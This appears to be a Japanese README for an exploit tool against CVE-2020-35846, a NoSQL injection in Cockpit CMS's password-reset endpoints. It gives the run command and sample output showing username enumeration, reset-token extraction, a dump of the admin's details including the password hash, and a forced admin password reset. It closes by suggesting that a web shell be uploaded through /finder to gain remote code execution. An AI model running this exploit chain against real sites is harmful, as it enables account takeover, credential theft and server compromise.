
バージョン0.11.2より前のCockpit CMSは、/auth/resetpassword と /auth/newpassword におけるNoSQLインジェクションの脆弱性の影響を受けます。これにより、パスワードリセットトークンの抽出が可能になり、ユーザー詳細の列挙やパスワードリセットが可能になります。
このPythonスクリプトは、システム上のユーザーを列挙し、パスワードをリセットします。
python3 exploit.py -u http://cockpit-site-url
このスクリプトは、最初にシステム上のユーザーを列挙します。
[+] http://cockpit-site-url: is reachable
[-] Attempting Username Enumeration (CVE-2020-35846) :
[+] Users Found : ['admin', 'user1', 'user2', 'user3']
次に、詳細情報を取得するユーザーを選択できます。これにより、そのユーザーのリセットトークンも生成されます。これはパスワードリセットに必要な重要な要素です。
[-] Get user details For : admin
[+] Finding Password reset tokens
Tokens Found : ['rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e']
[+] Obtaining user information
-----------------Details--------------------
[*] user : admin
[*] name : Admin
[*] email : [email protected]
[*] active : True
[*] group : admin
[*] password : $2y$10$6uQ2PXh4vShH.D4gw..WtO0NHQq7J36ugmwKNtJGzu9p9OqSEpVUW
[*] i18n : en
[*] _created : 1621655201
[*] _modified : 1621655201
[*] _id : 60a87ea165343539ee000300
[*] _reset_token : rp-4e82b990aff752bfb1dc9845d5338f6e610d0608bb75e
[*] md5email : a11eea8bf873a483db461bb169beccec
--------------------------------------------
最後に、ユーザーのパスワードをリセットするかどうかを選択できます。
[+] Do you want to reset the passowrd for admin? (Y/n): y
[-] Attempting to reset admin's password:
[+] Password Updated Succesfully!
[+] The New credentials for admin is:
Username : admin
Password : new_random_password
その後、RCEを獲得するために、/finderコンポーネントにウェブシェルをアップロードすることもできます。